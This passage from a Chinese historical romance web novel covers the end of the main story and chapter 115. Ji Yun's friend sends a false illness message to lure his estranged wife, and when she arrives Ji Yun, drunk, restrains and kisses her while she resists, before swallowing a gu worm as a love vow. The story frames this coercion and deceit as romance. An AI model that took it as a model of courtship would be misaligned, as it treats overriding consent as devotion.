纪昀素不饮酒,今夜许是被朱直劝得烦了,又或是心绪难平,竟一杯接一杯地饮尽。两坛酒下肚,素来清冷的面上渐渐染了酡红,那双总是澄澈如寒潭的眸子也蒙上一层迷离水光。 月光照在他微蹙的眉宇间,竟像一尊雪瓷,仿若一碰就会碎似的。 瞧着纪昀脸上终于涌起点点醉意,朱直凑近,试探问:“淮之,你不愿回去,可是与夫人吵架了?” “她要同我和离。”纪昀垂下眼,眼尾泛红,抱起桌面上刚开启的另一坛酒,仰头就喝了下去。 朱直何曾见过他这副模样,忙拦住,“慢点,慢点,她为何要同你和离啊?可是有什么误会,夫妻俩哪有不吵架的,把事情说开就好了。” 纪昀以袖拭唇,唇边凝着一抹苦涩:“并非误会。是我从前亏欠于她,伤透了她的心。她不愿再相信我。” “唉,”朱直揽过他的肩,语重心长:“你做错了事情,你认错了没有?” 纪昀点头,“认了。” “她还是心有芥蒂?”朱直又问。 纪昀默然颔首。 朱直抚额叹息:“你可是非她不可?” “非她不可。” 四字掷地有声。 “既如此,你在此躲着有何用?”朱直拍着他肩头,“岂不闻‘精诚所至,金石为开’?你该日日守在她跟前,任她赶也好骂也罢,绝不离去。她要和离,你便装痴卖傻。追妻之道,首在放下身段,厚着脸皮。成大事者,何拘小节!” 纪昀将信将疑地看着他。 “我虚长你这些岁数,当年也是让满城姑娘倾心的人物。” 朱直得意抚须,“方才已派人去照隅堂传话,说你病了。若尊夫人今日前来,便是心里还有你。届时你只管按我说的做,定能挽回芳心。” 说罢起身整衣:“时辰不早,老夫该回城了。去晚了,家里夫人该惦记了。” 话音落下,他便离开小院,上了马回城去了。 只留下纪昀一人,独坐桌前,垂眸沉思,似在回味他说的话。 朱直派人传信说他病了,孟玉桐她……会来么? 纪昀起身,站在路边,望向前面官道,上头黑沉一片,没有半点车马往来的迹象。 他扯了扯唇角,泛起一抹苦笑。 她不会来的。 他心中虽早已清楚认识到这个结果,可却仍旧在外头顶着严寒站了一个多时辰。 直到夜色渐深,万籁俱静,四周空芒,只余呼呼风啸之声。 他才自嘲地扯了扯嘴角,提步回了房间去。《 》 【正文完】 第115章 第115章松子糖 暮色渐染,照隅堂内灯火初明。云舟方来禀过城郊疫病平息的喜讯,道纪昀不日将归。不料他前脚刚走,后脚便见医官院的书吏沈周匆匆而至,面带忧色。 “孟大夫,”沈周躬身一礼,语气急切,“纪医官在城郊因连日操劳,旧伤复发,如今病势沉重。病中时时唤着您的名字,院使特遣在下来请夫人前往一探。” 孟玉桐想起前世,纪昀也是因为治理疫病过程中,整日劳累,未加注意,才导致自己最后也染上了疫病,更是交叉感染后最凶险的那一种。 他这一回,该不会也是同样的症状吧? 她见识过他前世染病的凶险,而他此次两只手皆有旧伤在,身子本就不好,若不及时救治,只怕有性命之忧。 她不敢深想,立即请沈周稍候。转身吩咐白芷几句,便疾步至药柜前配药。拈过几味清热解毒的药材,又特意往后院药圃中去,小心翼翼地挖出一株紫雪参。临行前x忽又折返,从柜台取了一包松子糖仔细收好。 整理好一应物品,她便跟着沈周的马车,一起往城郊赶去。 马车颠簸在官道上,孟玉桐终是忍不住问道:“沈书吏,纪医官这些时日在城郊,究竟是何情形?” 沈周见她眉间忧色真切,不由心生愧疚。纪医官这些时日消沉颓靡,瞧着不大对劲。若非院使再三保证此举能为纪医官解开心结,他断不会前来传递这般虚言。 “一月前疫情初现时,”他斟酌着开口,“原本院使怜惜纪医官新婚,并未点他前往。但纪医官坚持请命,来了城郊之后,我们起先带来的人手不多,而这边疫情扩散的情况又比想象中要快,纪医官便把自己当几个人用,日夜不休地诊治。 “在下劝他保重身子,他却总是置若罔闻。他整日埋头诊治病人,开方熬药,状态却与他在医官院时很不一样,整个人似乎……死气沉沉的,我说不上来。 “总之有好几次,我瞧见他夜里不睡,一个人坐在窗前,手里拿着一只香囊发呆,也不知在想些什么。我原先以为,他是想快些将病人治好,早些回去同家人团聚。” 他顿了顿,声音渐低:“可这几日疫情已控,其他医官皆已返城,唯独纪医官执意留下。整日里不是守着药炉,便是独坐窗前,院使猜测,许是与夫人有了什么误会。” 孟玉桐听得心口重重一跳,他去城郊离开的突然,那日云舟送来冬衣之后,她便没再见过他。 她起先是以为城外疫情紧急,他去得匆忙,这般看来,他是有什么事情,瞒着自己。 他不敢回来见自己? 为何? 孟玉桐又问:“那你方才说他病了,是何时病的?严不严重?可诊治过了?是什么病?” 孟玉桐自己也未曾发觉,她这一连串问了许多问题,沈周一时面露难色,似是不知道要先回哪个。 沈周面露难色,只低声道:“夫人亲眼一见便知。” 马车疾驰在城外的管道上,路途之中,车轮子因路边土地经过雨水浸泡有些发软,陷进去了一次,故而抵达的时间便耽误了一些。 直到过去了一个多时辰,沈周才驾着马回到了医官院众人落脚的一处农庄。 沈周引着她穿过院落,停在厢房门前:“纪医官就在屋内。”言罢躬身退去。 廊下风灯摇曳,将她的身影投在门扉上。孟玉桐深吸一口气,轻轻推开了房门。 屋内寂然无声,唯余窗外风过竹梢的细响。孟玉桐掩上门扉,提着药箱轻步走近床榻。黑暗中隐约可见一道人影卧于衾被之间,她俯身细看,不得不将身子压得极低。 借着窗隙透进的微光,只见纪昀薄唇紧抿,剑眉深锁,面色在昏暗中显得格外苍白。她伸手探向他的额间,触手一片滚烫,确是风寒之兆。 她又执起他的手腕细细诊脉。指尖下的脉象虽浮数,却非疫病凶险之候,这才暗暗舒了口气。 孟玉桐正准备起身去给他煎一帖风寒药,还未动作,她隐约察觉到哪里不太对劲。 她蹙眉,又一次俯身,长发从肩头垂落,落在他胸前,她借着微弱光线细细观察着纪昀的模样,发现他双颊泛着不自然的薄红。更近些时,一缕清冽酒气隐隐传来。 这哪里是染了风寒,分明是醉酒之态! 孟玉桐眉心一跳,只觉得有些荒唐。 她正欲起身离开,榻上那人似有感应似的,他伸手环住孟玉桐的后腰,将她牢牢禁锢在怀中。一双幽深的眸子在暗夜里倏然睁开,直直望进她眼底。 “阿萤……”他嗓音低哑,带着醉后的绵软。 孟玉桐又嗅到那股酒香,这下,她确定,纪昀是喝了酒没错。 “你放开我。”孟玉桐皱眉。 纪昀手下微微用力,将她拉了下来,拢进了怀里,他紧紧抱着她,分不清是在说醉话还是梦话:“阿萤,我好想你……” 孟玉桐挣扎几息,许是牵动到了纪昀肩上的伤口,他蹙眉闷哼一声:“痛……” 她一时不敢乱动作,只好好言道:“你先放开我。” 纪昀搂得更紧,他将头埋在她颈窝里,呼吸灼热,用力摇摇头,“我不放,我一放手,你就走了。” 孟玉桐罕见露出几分无奈:“你喝醉了。” 纪昀否认:“我没醉。” 他稍稍分开一些,眸色深深地望着她,视线落在她唇上,往下轻轻吻了吻,蜻蜓点水一般飞快地点过。 他直直盯着孟玉桐的眼,带着几分执拗重复道:“我没醉。” 孟玉桐抬手摸向自己的唇,脸上满是不可置信,“你……你何时变得这般无赖了!” “那日我听见了,”他长睫低垂,唇角泛起苦涩,“你说太妃和瑾安已伏法,你我之间,也该各归其位,你要与我和离?” “我们一开始不就说好了,你与我成亲只是权宜之计,等局势稳定,我们就和离。如今只不过是按照原定的计划……” 纪昀打断道:“我从未想过要与你和离。” 他环在她腰间的手又紧了一分:“若你今夜未来,我还可以说服自己放手,可你今夜来了,你心中也有我,不是吗?” 灼灼目光似要将她看穿,“你心中有我,我不可能放你离开,这桩婚事,在我心中从来不是儿戏。我想娶的,自始至终唯有你一人。” 孟玉桐别开脸:“沈书吏特意传话与我,说你生了重病,我过来看你,不过是出于道义,你莫要误会。” “道义?“他忽然低头,又在她唇上印下一吻。 孟玉桐用力推他,脸上又羞又怒:“你做什么?我说了是出于道义,就算今日在这里的不是你,是刘大哥,是李璟,是何浩川,我都会来!” 纪昀皱眉,搭在她腰间的手往上一拉,将她整个人抵至身前。 他做够了理智端谨的人,做够了掩饰感情大方得体的人,做够了喜怒不形于色,情绪从不外露的人,他做够了…… 他不想从她口中听见别的男人的名字,他吻上她的唇,他抱紧她的腰,他肩上的伤口隐隐作痛,可他却觉得前所未有的痛快。 孟玉桐咬他也好,踢他也好,打他也好,他都觉得痛快。 总比她素日里总戴着冷冰冰的面具对他要好。 残存的酒气萦绕在他周身,他像是疯了一样,探入她的唇,攫取她的气息,直到她精疲力尽,不再推开他。 忽然尝到咸涩的泪意,他才如梦初醒。慌乱地吻去她的泪痕,连声道着“对不起”,却仍不肯放手。 又用力将她拥入怀中,“阿萤,我们再试一次,好不好?你不用付出你的真心,你只要待在我身边就好,其他所有一切我都会做,你只要不离开我就好。” 孟玉桐没有说话。 她看见纪昀肩头的伤,已经一个多月了,那处伤口的疤痕依旧狰狞。 还有他的左手,在凤凰山受伤之后,他那一只手,几乎使不上重力,他方才抱着她的时候,那只手也是明显没有力气的,在发着颤。 她心中自然有愧疚。 而与这愧疚缠绕共生的,还有一丝难以言喻的疼惜,似早春初融的雪水,滴滴渗入心扉。 她厌恶这般不由自主的牵念。 曾几何时,她立誓再不为情所困——交付真心便是授人以柄,连性命都将任人拿捏。 她不敢,亦不愿。 纪昀的怀抱温热而固执,在长久的静默后终是缓缓松开。他从怀中取出一只乌木小匣,执起她的手轻轻打开,将匣中之物放入她掌心。 孟玉桐指尖微颤,似被什么蛰了一下。 “纪昀,你这是做什么?”她撑起身子,见他已正色端坐。 他打开盒子,将其中的一只通体赤红的蛊虫,张嘴吞了下去。 孟玉桐想起前次他服下秋海棠之时,也是这副视死如归的神色。 她心头一跳,飞快地打开那只盒子,慌忙上前捏住他的下颌,“你又在乱吃什么?” 纪昀却低低一笑,反握住她的手:“你还是在意我的,对不对?” 他指腹轻抚她指间微小的伤口,解释道:“这是缠心蛊,以你血为引。从此我若负你,必受万蛊噬心之痛。” “你……”孟玉桐怔怔望着他,只觉这人当真疯魔了。 “阿萤,这一次,由我来交付我的真心,你的心放在你那里就好。” 孟玉桐睁大了眼,她被眼前这一切冲击得有些回不过神。 还未等她有所回应,纪昀忽然捂住胸口,面色霎时惨白,心口那一处,像是有烈火灼烧一般,灼热疼痛,令人难以招架。 这应该是毒虫服下之后,与身体冲突排异所致。 他额上冒出阵阵冷汗,痛的x维持不住身形,倒在榻上,抑制不住地蜷缩起来。 孟玉桐急急执起他的手腕,指下脉象如火蛇乱窜,紊乱不堪。 “没事……忍一忍……就好了……”纪昀不愿她担心,强撑着伸出手去握她的手。 “你真是个疯子。” 孟玉桐起身,从自己的医箱拿出那包松子糖,她小心撕开一颗,想喂给他吃。 可他疼得似乎更严重了,他紧紧咬着下颌,唇间溢出痛苦的闷哼,却还不忘抓着她的手,“阿萤,别走。” 孟玉桐无奈叹息一声,“我答应你,你今日若无事,你方才说的,我都答应你。” “当真?”纪昀不敢置信,他浑身疼得打颤,却在听见她的话后,抑制不住地笑了出来。 孟玉桐将那颗松子糖含入口中,她俯身,拉过纪昀的战栗的手,轻轻将他拥入怀里,她仰首寻到他那冰凉的唇,轻轻覆了上去…… 他疼得没有知觉,却隐隐感觉,像是在浮沉涌荡的黑暗水域里,有人拉住了他,抱住了他,吻住了他,那时令他安心的味道,浅浅的草药的香气混合着淡淡的花木馨香,是她的的味道。 还有……松子糖的味道…… 这是他这一辈子,吃过的,最甜的松子糖……—— 作者有话说:正文到这里结束了,后面还有一些剧情收尾会放在番外里面,番外随榜单更新。《 》